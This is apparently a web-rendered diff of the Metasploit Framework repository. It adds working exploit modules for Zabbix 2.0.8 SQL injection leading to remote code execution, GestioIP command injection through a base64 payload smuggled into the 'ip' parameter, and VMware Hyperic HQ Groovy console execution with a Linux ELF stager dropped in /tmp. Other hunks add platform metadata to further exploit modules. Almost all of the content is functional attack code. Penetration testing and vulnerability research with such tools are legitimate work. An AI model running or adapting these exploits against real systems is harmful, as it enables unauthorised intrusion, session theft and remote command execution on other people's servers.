opts.merge!('authorization' => basic_auth(user, pass))
|
||||
begin
|
||||
send_request_cgi(opts, timeout)
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,183 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Zabbix 2.0.8 SQL Injection and Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits an unauthenticated SQL injection vulnerability affecting Zabbix
|
||||
versions 2.0.8 and lower. The SQL injection issue can be abused in order to retrieve an
|
||||
active session ID. If an administrator level user is identified, remote code execution
|
||||
can be gained by uploading and executing remote scripts via the 'scripts_exec.php' file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
|
||||
'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-5743'],
|
||||
['URL', 'https://support.zabbix.com/browse/ZBX-7091']
|
||||
],
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
['Zabbix version <= 2.0.8', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 255,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl python'
|
||||
}
|
||||
},
|
||||
'DisclosureDate' => "Sep 23 2013",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def uri
|
||||
return target_uri.path
|
||||
end
|
||||
|
||||
def check
|
||||
# Check version
|
||||
print_status("#{peer} - Trying to detect installed version")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, "httpmon.php")
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/
|
||||
version = $1
|
||||
print_status("#{peer} - Zabbix version #{version} detected")
|
||||
else
|
||||
# If this fails, guest access may not be enabled
|
||||
print_status("#{peer} - Unable to access httpmon.php")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if version and version <= "2.0.8"
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def get_session_id
|
||||
# Generate random string and convert to hex
|
||||
sqlq = rand_text_alpha(8)
|
||||
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
|
||||
sqli = "2 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST"
|
||||
sqli << "(sessionid AS CHAR),0x20)),1,50) FROM zabbix.sessions WHERE status=0 and userid=1 "
|
||||
sqli << "LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"
|
||||
|
||||
# Extract session id from database
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("#{uri}", "httpmon.php"),
|
||||
'vars_get' => {
|
||||
"applications" => sqli
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200 and res.body =~ /(?<=#{sqlq})(.*)(?=#{sqlq})/
|
||||
session = $1
|
||||
print_status("#{peer} - Extracted session cookie - [ #{session} ]")
|
||||
return session
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to extract a valid session")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Retrieve valid session id
|
||||
@session = get_session_id
|
||||
@sid = "#{@session[16..-1]}"
|
||||
script_name = rand_text_alpha(8)
|
||||
# Upload script
|
||||
print_status("#{peer} - Attempting to inject payload")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'cookie' => "zbx_sessionid=#{@session}",
|
||||
'uri' => normalize_uri(uri, "scripts.php"),
|
||||
'vars_post' => {
|
||||
'sid' => @sid,
|
||||
'form' => 'Create+script',
|
||||
'name' => script_name,
|
||||
'type' => '0',
|
||||
'execute_on' => '1',
|
||||
'command' => payload.encoded,
|
||||
'commandipmi' => '',
|
||||
'description' => '',
|
||||
'usrgrpid' => '0',
|
||||
'groupid' => '0',
|
||||
'access' => '2',
|
||||
'save' => 'Save'
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /(Script added)/
|
||||
print_status("#{peer} - Payload injected successfully")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Payload injection failed!")
|
||||
end
|
||||
|
||||
# Extract 'scriptid' value
|
||||
@scriptid = /(?<=scriptid=)(\d+)(?=&sid=#{@sid}">#{script_name})/.match(res.body)
|
||||
|
||||
# Trigger Payload
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("#{uri}", "scripts_exec.php"),
|
||||
'cookie' => "zbx_sessionid=#{@session}",
|
||||
'vars_get' => {
|
||||
"execute" =>1,
|
||||
"scriptid" => @scriptid,
|
||||
"sid" => @sid,
|
||||
"hostid" => "10084"
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def cleanup
|
||||
post_data = "sid=#{@sid}&form_refresh=1&scripts[#{@scriptid}]=#{@scriptid}&go=delete&goButton=Go (1)"
|
||||
print_status("#{peer} - Cleaning script remnants")
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'data' => post_data,
|
||||
'cookie' => "zbx_sessionid=#{@session}",
|
||||
'uri' => normalize_uri(uri, "scripts.php")
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /(Script deleted)/
|
||||
print_status("#{peer} - Script removed successfully")
|
||||
else
|
||||
print_warning("#{peer} - Unable to remove script #{@scriptid}")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -35,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Space' => 1073, #ret : 1069
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => %w{ linux },
|
||||
'Targets' =>
|
||||
[
|
||||
# Target 0: Debian 3.1 Sarge
|
||||
|
||||
@@ -49,7 +49,8 @@ class Metasploit4 < Msf::Exploit::Local
|
||||
[ 'OSVDB', '96588' ],
|
||||
[ 'BID', '61966'],
|
||||
[ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
|
||||
[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ]
|
||||
[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/05/cve-2013-1662-vmware-mount-exploit' ]
|
||||
],
|
||||
'DisclosureDate' => "Aug 22 2013"
|
||||
}
|
||||
|
||||
@@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'PrependEncoder' => "\x83\xec\x7f",
|
||||
|
||||
},
|
||||
'Platform' => %w{ linux },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux Bruteforce',
|
||||
|
||||
@@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Space' => 1000 + (rand(256).to_i * 4),
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => %w{ win osx },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 3.5.0 on Windows XP SP0-SP3',
|
||||
|
||||
@@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Space' => 1000 + (rand(256).to_i * 4),
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => %w{ osx linux },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 1.5.0.0 Mac OS X',
|
||||
|
||||
@@ -33,6 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
with script access should be able to trigger it.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w{ linux osx win },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic',
|
||||
|
||||
@@ -57,6 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'BufferOffset' => 3, # See the comments below
|
||||
},
|
||||
},
|
||||
'Platform' => %w{ osx },
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
|
||||
@@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => %w{ win osx },
|
||||
'Targets' =>
|
||||
[
|
||||
=begin
|
||||
|
||||
@@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => %w{ win osx },
|
||||
'Targets' =>
|
||||
[
|
||||
=begin
|
||||
|
||||
@@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Space' => 400,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => %w{ win },
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested against Firefox 1.0.4 and Mozilla 1.7.1 on
|
||||
|
||||
@@ -51,6 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Space' => 512,
|
||||
'BadChars' => "",
|
||||
},
|
||||
'Platform' => %w{ win linux osx },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Firefox 1.5.0.4 Windows x86',
|
||||
|
||||
@@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'DisableNops' => true,
|
||||
'BadChars' => " ",
|
||||
},
|
||||
'Platform' => %w{ unix },
|
||||
'Targets' =>
|
||||
[
|
||||
#[ 'Opera < 9.10 Windows',
|
||||
|
||||
@@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'RequiredCmd' => 'generic perl ruby telnet',
|
||||
}
|
||||
},
|
||||
'Platform' => %w{ unix },
|
||||
'Targets' =>
|
||||
[
|
||||
#[ 'Automatic', { } ],
|
||||
|
||||
@@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Space' => 1024,
|
||||
'BadChars' => ''
|
||||
},
|
||||
'Platform' => %w{ win osx },
|
||||
'Targets' =>
|
||||
[
|
||||
#
|
||||
|
||||
@@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'BadChars' => "\x00",
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => %w{ win linux },
|
||||
'Targets' =>
|
||||
[
|
||||
# test results (on Windows XP SP3)
|
||||
|
||||
@@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# 'RequiredCmd' => 'generic perl telnet',
|
||||
# }
|
||||
},
|
||||
'Platform' => %w{ win linux unix },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows',
|
||||
|
||||
@@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Author' =>
|
||||
[
|
||||
'Neal Poole', # Vulnerability discovery
|
||||
'joev <jvennix[at]rapid7.com>' # Metasploit module
|
||||
'joev' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'GestioIP Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection flaw to create a shell script
|
||||
on the filesystem and execute it. If GestioIP is configured to use no authentication,
|
||||
no password is required to exploit the vulnerability. Otherwise, an authenticated
|
||||
user is required to exploit.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'bperry' #Initial Discovery and metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/' ], # Patch
|
||||
[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2461' ], # First disclosure
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/03/gestioip-authenticated-remote-command-execution-module' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 475, # not a lot of room
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "",
|
||||
},
|
||||
'Platform' => [ 'unix' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [[ 'Automatic GestioIP 3.0', { }]],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Oct 4 2013',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'URI', '/gestioip/']),
|
||||
OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']),
|
||||
OptString.new('PASSWORD', [false, 'The password to auth with', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def user
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def pass
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def use_auth
|
||||
!(pass.nil? or pass.empty?)
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
pay = Rex::Text.encode_base64(payload.encoded)
|
||||
file = Rex::Text.rand_text_alpha(8)
|
||||
|
||||
options = {
|
||||
'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"),
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004",
|
||||
'hostname' => "fds",
|
||||
'client_id' => "1",
|
||||
'ip_version' => ""
|
||||
}
|
||||
}
|
||||
|
||||
if use_auth
|
||||
options.merge!('authorization' => basic_auth(user,pass))
|
||||
end
|
||||
|
||||
res = send_request_cgi(options)
|
||||
|
||||
if res and res.code == 401
|
||||
fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and PASSOWRD")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
{
|
||||
'SSL' => true
|
||||
},
|
||||
'Platform' => %w{ linux win },
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux', {
|
||||
@@ -70,12 +71,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
@cookie = ''
|
||||
|
||||
|
||||
@@ -0,0 +1,291 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerVBS
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VMware Hyperic HQ Groovy Script-Console Java Execution',
|
||||
'Description' => %q{
|
||||
This module uses the VMware Hyperic HQ Groovy script console to execute
|
||||
OS commands using Java. Valid credentials for an application administrator
|
||||
user account are required. This module has been tested successfully with
|
||||
Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => '15',
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04
|
||||
['Automatic', {} ],
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
|
||||
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
|
||||
],
|
||||
'Platform' => %w{ win linux unix },
|
||||
'Privileged' => false, # Privileged on Windows but not on *nix targets
|
||||
'DisclosureDate' => 'Oct 10 2013',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
Opt::RPORT(7443),
|
||||
OptString.new('USERNAME', [ true, 'The username for the application', 'hqadmin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password for the application', 'hqadmin' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to HypericHQ', '/' ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Login
|
||||
#
|
||||
def login(user, pass)
|
||||
@cookie = "JSESSIONID=#{Rex::Text.rand_text_hex(32)}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(@uri.path, "j_spring_security_check?org.apache.catalina.filters.CSRF_NONCE="),
|
||||
'method' => 'POST',
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'j_username' => Rex::Text.uri_encode(user, 'hex-normal'),
|
||||
'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'),
|
||||
'submit' => 'Sign+in'
|
||||
}
|
||||
})
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Check access to the Groovy script console and get CSRF nonce
|
||||
#
|
||||
def get_nonce
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"),
|
||||
'cookie' => @cookie
|
||||
})
|
||||
|
||||
if not res or res.code != 200
|
||||
print_warning("#{peer} - Could not access the script console")
|
||||
end
|
||||
|
||||
if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/
|
||||
@nonce = $1
|
||||
vprint_status("#{peer} - Found token '#{@nonce}'")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Check credentials and check for access to the Groovy console
|
||||
#
|
||||
def check
|
||||
|
||||
@uri = target_uri
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
|
||||
# login
|
||||
print_status("#{peer} - Authenticating as '#{user}'")
|
||||
res = login(user, pass)
|
||||
if res and res.code == 302 and res.headers['location'] !~ /authfailed/
|
||||
print_good("#{peer} - Authenticated successfully as '#{user}'")
|
||||
# check access to the console
|
||||
print_status("#{peer} - Checking access to the script console")
|
||||
get_nonce
|
||||
if @nonce.nil?
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
elsif res.headers.include?('X-Jenkins') or res.headers['location'] =~ /authfailed/
|
||||
print_error("#{peer} - Authentication failed")
|
||||
return Exploit::CheckCode::Detected
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
if not @to_delete.nil?
|
||||
print_warning("#{peer} - Deleting #{@to_delete} payload file")
|
||||
execute_command("rm #{@to_delete}")
|
||||
end
|
||||
end
|
||||
|
||||
def http_send_command(java)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, 'hqu/gconsole/console/execute.hqu?org.apache.catalina.filters.CSRF_NONCE=')+@nonce,
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'code' => java # java_craft_runtime_exec(cmd)
|
||||
}
|
||||
})
|
||||
if res and res.code == 200 and res.body =~ /Executed/
|
||||
vprint_good("#{peer} - Command executed successfully")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to execute the command.")
|
||||
end
|
||||
# version 4.6.6 returns a new CSRF nonce in the response
|
||||
if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/
|
||||
@nonce = $1
|
||||
vprint_status("#{peer} - Found token '#{@nonce}'")
|
||||
# version 4.5.2 does not, so we request a new one
|
||||
else
|
||||
get_nonce
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
# Stolen from jenkins_script_console.rb
|
||||
def java_craft_runtime_exec(cmd)
|
||||
decoder = Rex::Text.rand_text_alpha(5, 8)
|
||||
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
|
||||
cmd_array = Rex::Text.rand_text_alpha(5, 8)
|
||||
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
||||
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
||||
|
||||
jcode << "String [] #{cmd_array} = new String[3];\n"
|
||||
if @my_target['Platform'] == 'win'
|
||||
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
||||
jcode << "#{cmd_array}[1] = \"/c\";\n"
|
||||
else
|
||||
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
|
||||
jcode << "#{cmd_array}[1] = \"-c\";\n"
|
||||
end
|
||||
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
||||
jcode << "Runtime.getRuntime().exec(#{cmd_array});"
|
||||
jcode
|
||||
end
|
||||
|
||||
def java_get_os
|
||||
jcode = "System.getProperty(\"os.name\").toLowerCase();"
|
||||
|
||||
return jcode
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
vprint_status("#{peer} - Attempting to execute: #{cmd}")
|
||||
http_send_command(java_craft_runtime_exec(cmd))
|
||||
end
|
||||
|
||||
# Stolen from jenkins_script_console.rb
|
||||
def linux_stager
|
||||
cmds = "echo LINE | tee FILE"
|
||||
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
base64 = Rex::Text.encode_base64(exe)
|
||||
base64.gsub!(/\=/, "\\u003d")
|
||||
file = rand_text_alphanumeric(6+rand(4))
|
||||
|
||||
execute_command("touch /tmp/#{file}.b64")
|
||||
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
|
||||
base64.each_line do |line|
|
||||
line.chomp!
|
||||
cmd = cmds
|
||||
cmd.gsub!(/LINE/, line)
|
||||
execute_command(cmds)
|
||||
end
|
||||
|
||||
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
|
||||
execute_command("chmod +x /tmp/#{file}")
|
||||
execute_command("rm /tmp/#{file}.b64")
|
||||
|
||||
execute_command("/tmp/#{file}")
|
||||
@to_delete = "/tmp/#{file}"
|
||||
end
|
||||
|
||||
def get_target
|
||||
res = http_send_command(java_get_os)
|
||||
|
||||
if res and res.code == 200 and res.body =~ /"result":"(.*)","timeStatus/
|
||||
os = $1
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
case os
|
||||
when /win/
|
||||
return targets[1]
|
||||
when /linux/
|
||||
return targets[2]
|
||||
when /nix/
|
||||
when /mac/
|
||||
when /aix/
|
||||
when /sunow/
|
||||
return targets[3]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
# login
|
||||
@uri = target_uri
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
res = login(user, pass)
|
||||
if res and res.code == 302 and res.headers['location'] !~ /authfailed/
|
||||
print_good("#{peer} - Authenticated successfully as '#{user}'")
|
||||
else
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Authentication failed")
|
||||
end
|
||||
|
||||
# check access to the console and get CSRF nonce
|
||||
print_status("#{peer} - Checking access to the script console")
|
||||
get_nonce
|
||||
|
||||
# check operating system
|
||||
if target.name =~ /Automatic/
|
||||
print_status("#{peer} - Trying to detect the remote target...")
|
||||
@my_target = get_target
|
||||
if @my_target.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to detect the remote target")
|
||||
else
|
||||
print_good("#{peer} - #{@my_target.name} target found")
|
||||
end
|
||||
else
|
||||
@my_target = target
|
||||
end
|
||||
|
||||
# send payload
|
||||
case @my_target['Platform']
|
||||
when 'win'
|
||||
print_status("#{peer} - Sending VBS stager...")
|
||||
execute_cmdstager({:linemax => 2049})
|
||||
when 'unix'
|
||||
print_status("#{peer} - Sending UNIX payload...")
|
||||
http_send_command(java_craft_runtime_exec(payload.encoded))
|
||||
when 'linux'
|
||||
print_status("#{rhost}:#{rport} - Sending Linux stager...")
|
||||
linux_stager
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user